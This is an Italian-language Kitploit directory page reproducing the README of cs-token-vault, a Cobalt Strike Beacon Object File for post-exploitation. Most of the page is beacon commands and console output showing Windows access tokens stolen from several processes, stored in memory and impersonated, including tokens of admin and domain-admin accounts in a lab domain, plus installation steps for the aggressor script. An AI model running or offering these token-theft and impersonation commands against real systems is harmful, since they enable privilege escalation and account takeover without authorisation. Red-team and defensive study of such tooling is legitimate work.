Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cs-token-vault — Vault di token in memoria BOF per Cobalt Strike | Kitploit
Strumenti/GitHubGitHub/henkru/cs-token-vault
Autenticazione e AutorizzazioneFrameworks per Penetration TestingEscalation di PrivilegiPost-ExploitRed Teaming
GitHubhenkru/cs-token-vault

cs-token-vault

Vault di token in memoria BOF per Cobalt Strike

Vedi Repository
1512684 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Token Vault BOF per Cobalt Strike

Questo Beacon Object File (BOF) crea una memoria in-memory per i token di accesso Windows rubati/duplicati, consentendoti di:

  • Hot swap/riutilizzare token già rubati senza duplicarli di nuovo.
  • Memorizzare i token per un uso futuro nel caso un utente si disconnetta.

Installazione

  1. Scarica l'ultima release build o compila con make all.
  2. Carica lo script aggressore token-vault.cna nel tuo client Cobalt Strike.

Utilizzo

root@kitploit:~
beacon> help token-vault
Available Commands:
    Create a new token vault:    token-vault create
    Steal and store tokens:      token-vault steal <comma separated list of PIDs> [vault-id]
    Use the stored token:        token-vault use <token-id> [vault-id]
    Show the stored tokens:      token-vault show [vault-id]
    Remove the stored token:     token-vault remove <token-id> [vault-id]
    Remove all tokens:           token-vault remove-all [vault-id]
    Set the default token vault: token-vault set <vault-id>

Creazione del Vault

Il comando token-vault create alloca un vault vuoto dall'heap del beacon. L'output ricevuto contiene l'indirizzo di memoria del vault (ovvero l'ID del vault), che viene utilizzato per specificare il vault negli altri comandi token-vault.

root@kitploit:~
beacon> token-vault create
[*] Token Vault - create (@henkru)
[+] host called home, sent: 2991 bytes
[+] received output:
token vault created: 0000000000C31610

Inoltre, un ID di vault specifico può essere impostato come vault predefinito, utilizzato se un comando token-vault non include l'ID del vault.

root@kitploit:~
beacon> token-vault set 0000000000C31610

È importante notare che i vault predefiniti configurati risiedono all'interno del client Cobalt Strike e non sono condivisi tra i client.

Rubare token

Il comando token-vault steal duplica i token dei processi indicati e li memorizza nel vault.

root@kitploit:~
beacon> token-vault steal 6600,2608,5248
[*] Token Vault - steal (@henkru)
[+] host called home, sent: 3009 bytes
[+] received output:
6600: WINLAB\limited
[+] received output:
2608: WINLAB\limited2
[+] received output:
5248: WINLAB\admin

Mostra i token memorizzati

root@kitploit:~
beacon> token-vault show
[*] Token Vault - show (@henkru)
[+] host called home, sent: 2999 bytes
[+] received output:
5248: WINLAB\admin
2608: WINLAB\limited2
6600: WINLAB\limited

Usa un token

Il comando token-vault use impersona un token dal vault. Se il token non esiste, verrà sottratto e memorizzato nel vault.

root@kitploit:~
beacon> token-vault use 2608
[*] Token Vault - use (@henkru)
[+] host called home, sent: 3001 bytes
[+] Impersonated WINLAB\limited
root@kitploit:~
beacon> token-vault use 6384
[*] Token Vault - use (@henkru)
[+] host called home, sent: 3001 bytes
[-] token of 6384 not in the vault; try to get it.
[+] received output:
6384: WINLAB\da
[+] Impersonated WINLAB\da

Rimuovi un token

Il comando token-vault remove rimuove un token memorizzato dal vault.

root@kitploit:~
beacon> token-vault remove 6600
[*] Token Vault - remove (@henkru)
[+] host called home, sent: 3001 bytes
[+] received output:
removed: 6600

Inoltre, il comando token-vault remove-all rimuove tutti i token in una volta sola.

Scarica lo strumento